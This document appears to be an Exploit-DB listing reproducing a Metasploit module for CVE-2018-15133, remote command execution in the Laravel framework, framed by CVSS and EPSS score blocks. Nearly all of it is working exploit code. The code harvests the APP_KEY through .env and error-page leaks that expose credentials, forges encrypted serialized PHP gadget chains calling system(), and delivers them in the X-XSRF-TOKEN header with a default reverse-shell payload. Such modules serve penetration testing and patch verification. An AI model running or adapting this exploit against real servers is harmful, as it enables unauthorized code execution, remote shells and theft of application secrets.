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exploitdbMetasploitEDB-ID:47129
HistoryJul 16, 2019 - 12:00 a.m.

PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)

2019-07-1600:00:00
Metasploit
www.exploit-db.com
208

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

8 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.968 High

EPSS

Percentile

99.7%

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
      'Description' => %q{
        This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
        Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
        an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
        Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
        Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
        In some cases the APP_KEY is leaked which allows for discovery and exploitation.
      },
      'DisclosureDate' => '2018-08-07',
      'Author' =>
        [
          'StΓ₯le Pettersen',  # Discovery
          'aushack',          # msf exploit + other leak
        ],
      'References' =>
        [
          ['CVE', '2018-15133'],
          ['CVE', '2017-16894'],
          ['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
          ['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
          ['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'DefaultTarget' => 0,
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
      'Payload' => { 'DisableNops' => true },
      'Targets' => [[ 'Automatic', {} ]],
    ))

    register_options([
      OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
      OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
    ])
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    })

    # Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
    unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
      return CheckCode::Unknown
    end

    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      return CheckCode::Detected
    end

    random_string = Rex::Text.rand_text_alphanumeric(12)

    1.upto(4) do |method|
      vuln = generate_token("echo #{random_string}", auth_token, method)

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'headers' => {
          'X-XSRF-TOKEN' => "#{vuln}",
        }
      })

      if res.body.include?(random_string)
        return CheckCode::Vulnerable
      # Not conclusive but witnessed in the wild
      elsif res.body.include?('Method Not Allowed')
        return CheckCode::Safe
      end
    end
    CheckCode::Detected
  rescue Rex::ConnectionError
    CheckCode::Unknown
  end

  def env_leak
    key = ''
    vprint_status 'Checking for CVE-2017-16894 .env information leak'
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '.env'),
      'method' => 'GET'
    })

    # Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
    return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
    key = $1

    if key
      vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
      return key
    end

    vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'
    key
  end

  def framework_leak(decrypt_ex = true)
    key = ''
    if decrypt_ex
      # Possible config error / 0day found by aushack during pentest
      # Seen in the wild with recent releases
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'headers' => {
          'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
        }
      })

      return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
    else
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST'
      })

      return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
    end
    # Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?

    # Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
    if res.body =~ /\>base64:(.*)\<\/span\>/
      key = $1
      vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
    end

    key
  end

  def check_appkey
    key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
    return key unless key.empty?

    vprint_status 'APP_KEY not set. Will try to find it...'
    key = env_leak
    key = framework_leak if key.empty?
    key = framework_leak(false) if key.empty?
    key.empty? ? false : key
  end

  def test_appkey(value)
    value = Rex::Text.decode_base64(value)
    return true if value && value.length.to_i == 32

    false
  end

  def generate_token(cmd, key, method)
    # Ported phpggc Laravel RCE php objects :)
    case method
      when 1
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
      when 2
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
      when 3
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
      when 4
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
    end

    cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested
    cipher.encrypt
    cipher.key = Rex::Text.decode_base64(key)
    iv = cipher.random_iv

    value = cipher.update(payload_decoded) + cipher.final
    pload = Rex::Text.encode_base64(value)
    iv = Rex::Text.encode_base64(iv)
    mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)
    iv = iv.gsub('/', '\\/') # Escape slash
    pload = pload.gsub('/', '\\/') # Escape slash
    json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
    json_out = Rex::Text.encode_base64(json_value)

    json_out
  end

  def exploit
    auth_token = check_appkey
    if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      return
    end

    1.upto(4) do |method|
      sploit = generate_token(payload.encoded, auth_token, method)

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'headers' => {
        'X-XSRF-TOKEN' => sploit,
        }
      }, 5)

      # Stop when one of the deserialization attacks works
      break if session_created?

      if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive
        print_status 'Target appears to be patched or otherwise immune'
      end
    end
  end
end

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

8 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.968 High

EPSS

Percentile

99.7%